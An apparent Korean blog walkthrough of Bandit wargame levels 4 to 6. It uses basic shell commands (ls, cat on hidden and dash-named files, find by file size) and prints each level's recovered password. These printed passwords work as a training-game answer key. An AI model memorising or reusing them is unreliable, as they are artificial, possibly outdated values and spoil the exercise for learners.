Bandit Level4

inhere 디렉토리 안의 파일에 숨겨져있다.

bandit3@bandit:~$ cd inhere/
bandit3@bandit:~/inhere$ ls
bandit3@bandit:~/inhere$
bandit3@bandit:~/inhere$
bandit3@bandit:~/inhere$ ll
total 12
drwxr-xr-x 2 root    root    4096 Jan 11 19:19 ./
drwxr-xr-x 3 root    root    4096 Jan 11 19:19 ../
-rw-r----- 1 bandit4 bandit3   33 Jan 11 19:19 .hidden
bandit3@bandit:~/inhere$ cat .hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

흠.. 숨어있는지는 모르겠는데 찾았다.

Bandit Level5

inhere 디렉토리에 human-readable 파일에 숨어있다.

drwxr-xr-x 2 root    root    4096 Jan 11 19:19 ./
drwxr-xr-x 3 root    root    4096 Jan 11 19:19 ../
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file00
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file01
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file02
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file03
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file04
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file05
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file06
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file07
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file08
-rw-r----- 1 bandit5 bandit4   33 Jan 11 19:19 -file09
bandit4@bandit:~/inhere$ cat ./-file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR
bandit4@bandit:~/inhere$

파일 하나하나 열어보면서 패스워드를 찾았다.

Bandit Level6

사람이 읽을 수 있는 1033사이즈 크기의 파일.
실행불가.

bandit5@bandit:~/inhere$ ls
maybehere00  maybehere04  maybehere08  maybehere12  maybehere16
maybehere01  maybehere05  maybehere09  maybehere13  maybehere17
maybehere02  maybehere06  maybehere10  maybehere14  maybehere18
maybehere03  maybehere07  maybehere11  maybehere15  maybehere19

저 많은 디렉토리에서 찾으라고 하는거 보니 find 명령어를 쓰라고 하는것 같다.

bandit5@bandit:~/inhere$ find . -size 1033c
./maybehere07/.file2
bandit5@bandit:~/inhere$ cd maybehere07
 cat ./.file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU
반응형

+ Recent posts